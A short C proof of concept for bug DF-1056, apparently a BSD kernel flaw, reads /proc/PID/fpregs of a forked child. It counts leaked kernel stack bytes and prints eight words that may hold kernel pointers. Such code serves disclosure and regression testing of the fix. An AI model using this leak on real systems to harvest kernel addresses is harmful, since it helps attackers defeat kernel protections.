DF-1056 / procfs_c.c
/* SPDX-License-Identifier: BSD-2-Clause * DF-1056 PoC (procfs variant): reads /proc/PID/fpregs and counts * non-zero bytes in the [108..511] tail of struct fpreg. * * Build: cc -o procfs_c procfs_c.c * Run: ./procfs_c * * Expected (bug present): >0 non-zero bytes (kernel stack residue) * Expected (fixed): 0 non-zero bytes */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/wait.h> #include <string.h> #include <signal.h> int main(void) { pid_t child = fork(); if (child == 0) { sleep(30); _exit(0); } if (child < 0) { perror("fork"); return 1; } usleep(500000); char path[64]; snprintf(path, sizeof(path), "/proc/%d/fpregs", child); int fd = open(path, O_RDONLY); if (fd < 0) { perror(path); kill(child, SIGKILL); return 1; } unsigned char buf[512]; ssize_t n = read(fd, buf, sizeof(buf)); close(fd); kill(child, SIGKILL); waitpid(child, NULL, 0); if (n != 512) { fprintf(stderr, "short read: %zd bytes\n", n); return 1; } int leaked = 0; for (int i = 108; i < 512; i++) if (buf[i] != 0x00) leaked++; fprintf(stderr, "/proc/PID/fpregs read %zd bytes, %d non-zero in [108..511]\n", n, leaked); /* Dump a window to inspect for kernel pointers (offsets 128..184) */ unsigned long *p = (unsigned long *)(buf + 128); for (int i = 0; i < 8; i++) fprintf(stderr, " fpregs[%+d] = 0x%016lx\n", 128 + i * 8, p[i]); return leaked > 0 ? 0 : 2; /* exit 2 == not reproduced (fixed) */ } |